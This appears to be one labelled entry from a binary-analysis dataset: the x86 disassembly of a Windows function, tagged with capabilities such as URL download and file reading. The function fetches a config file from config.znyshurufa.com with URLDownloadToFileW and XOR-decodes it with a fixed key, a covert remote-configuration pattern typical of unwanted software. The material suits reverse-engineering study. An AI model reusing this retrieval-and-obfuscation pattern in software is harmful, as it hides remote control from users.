Function at 0x4194d0
Capabilities:
Check if file exists
Download url
Get file size
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5883c6
mov eax, dword fs:[0]
push eax
sub esp, 0x6e0
mov eax, dword [0x5f44b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x6ec], ecx
mov word [ebp - 0x42c], 0
push 0x206
push 0
lea eax, [ebp - 0x42a]
push eax
call fcn.0049e690
add esp, 0xc
mov word [ebp - 0x21c], 0
push 0x206
push 0
lea ecx, [ebp - 0x21a]
push ecx
call fcn.0049e690
add esp, 0xc
call fcn.0041bc10
mov dword [ebp - 0x224], eax
mov edx, dword [ebp - 0x224]
push edx
push 0x594b78
mov ecx, dword [ebp - 0x6ec]
add ecx, 0x28
call fcn.00401670
push eax
push str._s_s_d.dat
lea eax, [ebp - 0x42c]
push eax
call fcn.0049e5b6
add esp, 0x14
push str.Config
mov ecx, dword [ebp - 0x6ec]
add ecx, 0x28
call fcn.00401670
push eax
push 0x594bb0
lea ecx, [ebp - 0x21c]
push ecx
call fcn.0049e5b6
add esp, 0x10
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41973c
push str..dat
lea eax, [ebp - 0x21c]
push eax
call fcn.00425080
add esp, 8
mov word [ebp - 0x694], 0
push 0x206
push 0
lea ecx, [ebp - 0x692]
push ecx
call fcn.0049e690
add esp, 0xc
push str.config.znyshurufa.com
lea ecx, [ebp - 0x6c8]
call fcn.00401590
mov dword [ebp - 4], 0
lea edx, [ebp - 0x6c8]
push edx
lea eax, [ebp - 0x488]
push eax
call fcn.00422760
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6c8]
call fcn.004015d0
push str.SmartCloudWB
lea ecx, [ebp - 0x6e4]
call fcn.00401600
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6e4]
push ecx
lea edx, [ebp - 0x468]
push edx
call fcn.00422880
add esp, 8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x6e4]
call fcn.00401640
lea eax, [ebp - 0x468]
push eax
call fcn.00422d60
add esp, 4
lea ecx, [ebp - 0x468]
push ecx
lea edx, [ebp - 0x44c]
push edx
call fcn.00422760
add esp, 8
mov byte [ebp - 4], 6
push 0x1869f
push 0x2710
call fcn.0041bb60
add esp, 8
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 0x46c]
push eax
push str.srfconfig.dat
lea ecx, [ebp - 0x44c]
call fcn.00401670
push eax
lea ecx, [ebp - 0x488]
call fcn.00401670
push eax
push str.http:___s__s_common__s__d
lea ecx, [ebp - 0x694]
push ecx
call fcn.0049e5b6
add esp, 0x18
push 0
push 0
lea edx, [ebp - 0x42c]
push edx
lea eax, [ebp - 0x694]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
je 0x41970c
push str.Dowm_Load_Failed___
call fcn.0044d540
add esp, 4
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x44c]
call fcn.00401640
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x468]
call fcn.004015d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x488]
call fcn.00401640
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x419820
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocStringLen
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0xffffffff
jne 0x419797
xor eax, eax
jmp 0x4198e8
push 0
mov eax, dword [ebp - 0x698]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x220]
add ecx, 1
push ecx
call fcn.0047e280
add esp, 4
mov dword [ebp - 0x6e8], eax
mov edx, dword [ebp - 0x6e8]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x4197da
xor eax, eax
jmp 0x4198e8
mov eax, dword [ebp - 0x220]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0049e690
add esp, 0xc
push 0
lea edx, [ebp - 0x69c]
push edx
mov eax, dword [ebp - 0x220]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x698]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x698]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0
je 0x4198d8
cmp dword [ebp - 0x220], 0
jbe 0x4198d8
mov dword [ebp - 0x6a4], 0
push 0x594c74
call fcn.0049e390
add esp, 4
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x6a8], 0
jmp 0x41986f
mov ecx, dword [ebp - 0x6a8]
add ecx, 1
mov dword [ebp - 0x6a8], ecx
mov edx, dword [ebp - 0x6a8]
cmp edx, dword [ebp - 0x220]
jae 0x4198d8
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x6a8]
mov cl, byte [eax]
mov byte [ebp - 0x6a9], cl
movsx edx, byte [ebp - 0x6a9]
mov eax, dword [ebp - 0x6a4]
movsx ecx, byte [eax + 0x594c7c]
xor edx, ecx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x6a8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6a4]
add ecx, 1
mov dword [ebp - 0x6a4], ecx
mov edx, dword [ebp - 0x6a4]
cmp edx, dword [ebp - 0x6a0]
jl 0x4198d6
mov dword [ebp - 0x6a4], 0
jmp 0x419860
push str.Get_Server_Config_File_Successed___
call fcn.0044d540
add esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0049e381
mov esp, ebp
pop ebp
ret